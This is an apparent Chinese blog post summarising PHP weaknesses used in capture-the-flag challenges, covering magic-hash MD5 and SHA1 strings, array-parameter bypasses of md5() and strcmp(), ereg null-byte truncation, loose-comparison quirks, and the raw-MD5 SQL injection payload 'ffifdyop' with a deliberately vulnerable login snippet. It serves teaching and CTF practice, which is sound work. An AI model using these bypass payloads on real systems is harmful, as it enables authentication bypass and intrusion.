CTF

PHP漏洞总结

2018-11-01  本文已影响26人  Eumenides_62ac

总结

CTF中遇到的一些PHP漏洞的总结。

MD5 Compare漏洞

1.md5(str)
        QNKCDZO
        240610708
        s878926199a
        s155964671a
        s214587387a
2.sha1(str)
        sha1('aaroZmOk')  
        sha1('aaK1STfY')
        sha1('aaO8zKZF')
        sha1('aa3OFF9m')

md5()和sha1()都无法处理数组,返回NULL。

例题:
    if(@md5($_GET['a']) == @md5($_GET['b']))
        {
            echo "yes";
        }
        payload : ?a[]=1&b[]=1

MD5的:

md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f

CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af

770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064

7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

ereg函数漏洞:00截断

利用ereg()存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。

    ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE ;

这里可以通过%00来绕过。
可以参考:https://blog.csdn.net/qq_33020901/article/details/60593789

Strcmp()漏洞

int strcmp ( string $str1 , string $str2)

这里的函数返回值:当str1 < str2 时返回 < 0;
当str1 > str2 时返回 > 0;
当str1 = str2 时返回 0;
当我们传入字符串类型的数据的时候,则会返回 0;
所以我们可以通过传入一个 数组 或者一个 object 来绕过

?str1[]=

is_numeric函数

is_numeric()函数来判断变量是否为数字,是数字返回1,不是则返回0。比较范围不局限于十进制数字。

<?php
    echo is_numeric(233333);       # 1
    echo is_numeric('233333');    # 1
    echo is_numeric(0x233333);    # 1
    echo is_numeric('0x233333');   # 1
    echo is_numeric('233333abc');  # 0
?>    

PHP弱类型的特性

<?php
    var_dump("admin"==0); // true
    var_dump("1admin"==1); // true
    var_dump("admin1"==1); // false
    var_dump("admin1"==0); // true
    var_dump("0e123456"=="0e654321"); // true
    var_dump([]>任何数字); // true
?>

恐龙特性:"."被替换成"_"

PHP参数中的"."会被替换成"_"

var_dump("user.id"); // user_id 

md5()引发的注入

<?php
    $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0){
            echo 'flag is :'.$flag;
        }
        else{
            echo '密码错误!';
        } 
        ?>

MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入。
payload:ffifdyop

md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转换成字符串后为
'or'6�]��!r,��b�

inval()引发的绕过

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>
上一篇 下一篇

猜你喜欢

热点阅读